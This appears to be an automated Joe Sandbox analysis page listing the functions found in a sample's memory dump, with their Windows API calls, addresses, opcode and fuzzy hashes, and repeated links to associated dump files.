
Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: c535dff05a867f5b7533df5970f6b4203bbaa0acff021f278027878da395843d
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: 4FA17772E00BC69FEB25CF1AC8917BEBBE4EF65350F1841ADE5958B281C3349981C751

Function 0023342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00233459
CoUninitialize.OLE32 ref: 00233463
VariantInit.OLEAUT32(?), ref: 0023346E
VariantClear.OLEAUT32(?), ref: 0023371B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 7fca55e28abf3714fb9b3797f898f9c7544e4ddeee2bd9ead112abe587874846
Instruction ID: 440294e29696ee91340549a8e15f0c37873b52dfb9df069ab323a8873e52ecd2
Opcode Fuzzy Hash: 7fca55e28abf3714fb9b3797f898f9c7544e4ddeee2bd9ead112abe587874846
Instruction Fuzzy Hash: 0CA14AB56143019FC710DF28C586A6AB7E5FF88714F04885DF98A9B3A2DB30EE01CB91

Function 00210436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,0024FC08,?), ref: 002105F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,0024FC08,?), ref: 00210608
CLSIDFromProgID.OLE32(?,?,00000000,0024CC40,000000FF,?,00000000,00000800,00000000,?,0024FC08,?), ref: 0021062D
_memcmp.LIBVCRUNTIME ref: 0021064E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: cecd374b207b3bca9823696dc5b15170d5ac44ee13cf5832b4682c1851dd4a39
Instruction ID: b99f3ba9bbb86beca8d8111502a07ddceb08dd22b8b48c1cf1b021225a583421
Opcode Fuzzy Hash: cecd374b207b3bca9823696dc5b15170d5ac44ee13cf5832b4682c1851dd4a39
Instruction Fuzzy Hash: 31813B71A10109EFCB04DF94C984EEEB7F9FF99315F204158E506AB250DB71AE86CB60

Function 0023A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0023A6AC
Process32FirstW.KERNEL32(00000000,?), ref: 0023A6BA

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Process32NextW.KERNEL32(00000000,?), ref: 0023A79C
CloseHandle.KERNEL32(00000000), ref: 0023A7AB

Part of subcall function 001CCE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,001F3303,?), ref: 001CCE8A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: f1068d4837d71e99a182e2b33f300121cf539452df91a4ebe7f84994f65df73c
Instruction ID: f58b2de340b2a29522fc98e38d6902b81d41aaebc5c4a9290069ba707b9405a9
Opcode Fuzzy Hash: f1068d4837d71e99a182e2b33f300121cf539452df91a4ebe7f84994f65df73c
Instruction Fuzzy Hash: E8512CB1508301AFD710EF24D886E6BBBE8FF99754F40492DF58997251EB30D905CB92

Function 001F1391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 001F14C0

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8f536c271cda07706363078ce06e71825e14cad4b86af013d29cadddf79357d8
Instruction ID: a4f29dd2a330cbe48ccff73a0510edd9c9aa0f3aa1e6b75909889545d9eb33bd
Opcode Fuzzy Hash: 8f536c271cda07706363078ce06e71825e14cad4b86af013d29cadddf79357d8
Instruction Fuzzy Hash: 2D414D3150050CFBDB25ABFE9C466BE3AA5EFA1330F240226FA19D72D2E73489415271

Function 00246278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 002462E2
ScreenToClient.USER32(?,?), ref: 00246315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00246382

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: b45ea21910e33c5f8caaffccfef7a2d980edb60a9c0f68745e481772c7c13f21
Instruction ID: 80053a7191c4fa01de80175db5b7ff06fa86d059dcfb3afd54c29731850b0afd
Opcode Fuzzy Hash: b45ea21910e33c5f8caaffccfef7a2d980edb60a9c0f68745e481772c7c13f21
Instruction Fuzzy Hash: 5C515E74A1024AEFCF18DF58D8889AE7BB5FF46760F108199F8159B290D730EDA1CB51

Function 00231AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00231AFD
WSAGetLastError.WSOCK32 ref: 00231B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00231B8A
WSAGetLastError.WSOCK32 ref: 00231B94

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: fd063cad7231a44879c2afc667d2f1eeb0e505f3e37b84764433f4d58fb3e528
Instruction ID: 9e19b63df0fa96c3231c8699e4d5c9c586c7b3c41c14e9bf4f8abd301c53af08
Opcode Fuzzy Hash: fd063cad7231a44879c2afc667d2f1eeb0e505f3e37b84764433f4d58fb3e528
Instruction Fuzzy Hash: 5541C374600200AFE720AF24D88AF6A77E5AB54718F54848CF91A9F7D2D772DD52CB90

Function 001EB41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e74604e1bb2adee3c32b3ceb966e6aa5bec0be321085cc315f837a5598fb2c
Instruction ID: 672ad9ea4469452590b32411c32ffc795610b5134e9a158ddb7f7fc9b25b987e
Opcode Fuzzy Hash: 88e74604e1bb2adee3c32b3ceb966e6aa5bec0be321085cc315f837a5598fb2c
Instruction Fuzzy Hash: 0041E672A04B44BFD7259F79CC81B6FBBA9EB94710F10452EF542DB2C2D771A9018780

Function 002256D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00225783
GetLastError.KERNEL32(?,00000000), ref: 002257A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 002257CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 002257FA

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: f948162cadb8882f23eafc0690f8e2f44b86f6503cec68d13bef7c2e8102a53b
Instruction ID: 4f8a76a0b3357b09f0f7df449efe38d449477741857b1de1e1e9ceefc141e863
Opcode Fuzzy Hash: f948162cadb8882f23eafc0690f8e2f44b86f6503cec68d13bef7c2e8102a53b
Instruction Fuzzy Hash: E9412C39600621DFCB21DF55D445A5EBBF2EF99320B19C488E84AAB762CB74FD40CB91

Function 001ED8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,001D6D71,00000000,00000000,001D82D9,?,001D82D9,?,00000001,001D6D71,8BE85006,00000001,001D82D9,001D82D9), ref: 001ED910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 001ED999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 001ED9AB
__freea.LIBCMT ref: 001ED9B4

Part of subcall function 001E3820: RtlAllocateHeap.NTDLL(00000000,?,00281444,?,001CFDF5,?,?,001BA976,00000010,00281440,001B13FC,?,001B13C6,?,001B1129), ref: 001E3852

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: b9d768b7965e9256336b6a52dd122a1d6d3e3476bfc64686d3ba737d223e26ee
Instruction ID: 6cab86817125caf3ccca7f87cb7495b5440f2d5125b10447e64328ed17fc84d3
Opcode Fuzzy Hash: b9d768b7965e9256336b6a52dd122a1d6d3e3476bfc64686d3ba737d223e26ee
Instruction Fuzzy Hash: 10310F72A0064AABDF24CF66EC45EAE7BA5EF41314F150169FC09D7251EB35CD50CBA0

Function 002452C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00245352
GetWindowLongW.USER32(?,000000F0), ref: 00245375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00245382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 002453A8

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 0836fc4e3f707ed7a462399258e689537517fcc4fb48fb1e6c95947fdb2c49cb
Instruction ID: 9be576f53b4187c37497af3561a9376894c8850170f23e289d72b4630f102fb0
Opcode Fuzzy Hash: 0836fc4e3f707ed7a462399258e689537517fcc4fb48fb1e6c95947fdb2c49cb
Instruction Fuzzy Hash: F431C634A76A29EFEB389E14CC09FE83F65AB05390F544181FA90961E2C7F49DA0DB41

Function 0021AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 0021ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 0021AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 0021AC74
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 0021ACC6

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: c802616e53aa21a722544386e78a3cf320ad64a0eebfc3ca7f4ddde2511224dd
Instruction ID: 554a82ee8c7742784dfc67486fb23355b96c8bf5e0a15a1b406c257c002914e2
Opcode Fuzzy Hash: c802616e53aa21a722544386e78a3cf320ad64a0eebfc3ca7f4ddde2511224dd
Instruction Fuzzy Hash: 51312830A213196FEF35CF698C087FA7BE5ABA9310F04421BE485921D1D37589E587D2

Function 00247674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0024769A
GetWindowRect.USER32(?,?), ref: 00247710
PtInRect.USER32(?,?,00248B89), ref: 00247720
MessageBeep.USER32(00000000), ref: 0024778C

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: da2c44698c621f4254a523e5759dfe6872a131c87c856b10650d16b50bb8e011
Instruction ID: bb4d30d8644d387d25064c76a6c060c51b8b4d796cd37379e89d6f815263a37a
Opcode Fuzzy Hash: da2c44698c621f4254a523e5759dfe6872a131c87c856b10650d16b50bb8e011
Instruction Fuzzy Hash: 1D41B338616215DFCB19CF58D898EA9B7F9FF49314F5540A8E424DB2A1C730E952CF90

Function 002416DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 002416EB

Part of subcall function 00213A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00213A57
Part of subcall function 00213A3D: GetCurrentThreadId.KERNEL32 ref: 00213A5E
Part of subcall function 00213A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,002125B3), ref: 00213A65

GetCaretPos.USER32(?), ref: 002416FF
ClientToScreen.USER32(00000000,?), ref: 0024174C
GetForegroundWindow.USER32 ref: 00241752

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 15992a3ebf6ea056706723ecb79c311465c5a8dbdb2fbbe73bdd9203905b84f8
Instruction ID: 570236894e33a4186d3242f3771241048c5d38f544dd7d65d8d804c81617b552
Opcode Fuzzy Hash: 15992a3ebf6ea056706723ecb79c311465c5a8dbdb2fbbe73bdd9203905b84f8
Instruction Fuzzy Hash: A2315E75D10109AFCB04EFA9C881CEEBBF9EF59304B5080AAE415E7211D7319E45CBA0

Function 0021DF95 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 001B7620: _wcslen.LIBCMT ref: 001B7625

_wcslen.LIBCMT ref: 0021DFCB
_wcslen.LIBCMT ref: 0021DFE2
_wcslen.LIBCMT ref: 0021E00D
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0021E018

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$ExtentPoint32Text
String ID:
API String ID: 3763101759-0
Opcode ID: 5df8ea8567e15bc730190e2858db369931acffe94f6de71641dbdf1dacff2e6b
Instruction ID: 11059338cb22fa9382b4136f3cc419e19be1bee3f21085e41abd7cdc46b6b261
Opcode Fuzzy Hash: 5df8ea8567e15bc730190e2858db369931acffe94f6de71641dbdf1dacff2e6b
Instruction Fuzzy Hash: 1C21B275900215EFCB20DFA8D981BAEB7F8EF69750F154069E805BB381D7709E41CBA1

Function 00248FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 001C9BB2

GetCursorPos.USER32(?), ref: 00249001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00207711,?,?,?,?,?), ref: 00249016
GetCursorPos.USER32(?), ref: 0024905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00207711,?,?,?), ref: 00249094

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: f3049ce292a50ae85b50d02003f555e2e22239638a24534b6dda9ce388827893
Instruction ID: 16277a3f78526d29d986361b5ce432db2454ab9ec3b91fcec8c2c1d92cfd37ab
Opcode Fuzzy Hash: f3049ce292a50ae85b50d02003f555e2e22239638a24534b6dda9ce388827893
Instruction Fuzzy Hash: E121BF35611018EFDB29CF98D859EEB3BB9EB8A350F104069F905572A1C7319DA0DB60

Function 0021D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0024CB68), ref: 0021D2FB
GetLastError.KERNEL32 ref: 0021D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 0021D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0024CB68), ref: 0021D376

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: cf5bf6dd6093b9e47705a2ac35c162b4202d8223fa100e1db09dc5adda78fdcb
Instruction ID: 1ed8007950ebeace61e6220a924150f641200eba6bc9f6d80424820be22994e4
Opcode Fuzzy Hash: cf5bf6dd6093b9e47705a2ac35c162b4202d8223fa100e1db09dc5adda78fdcb
Instruction Fuzzy Hash: 8221D170519202DF8300DF28D8818EA77E4EE66324F204A5DF8A9C72A1DB30D996CF93

Function 00211571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00211014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0021102A
Part of subcall function 00211014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00211036
Part of subcall function 00211014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00211045
Part of subcall function 00211014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0021104C
Part of subcall function 00211014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00211062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 002115BE
_memcmp.LIBVCRUNTIME ref: 002115E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00211617
HeapFree.KERNEL32(00000000), ref: 0021161E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 74c673c7ba15427b3b8e2d1f57a76d8d6a56942bc2d507ff87dbc9a9fce72ec2
Instruction ID: 46e715dfaec8c183b8f8ba499895e953c2e2ef155ca159ba8fe07aeeab1bd2f8
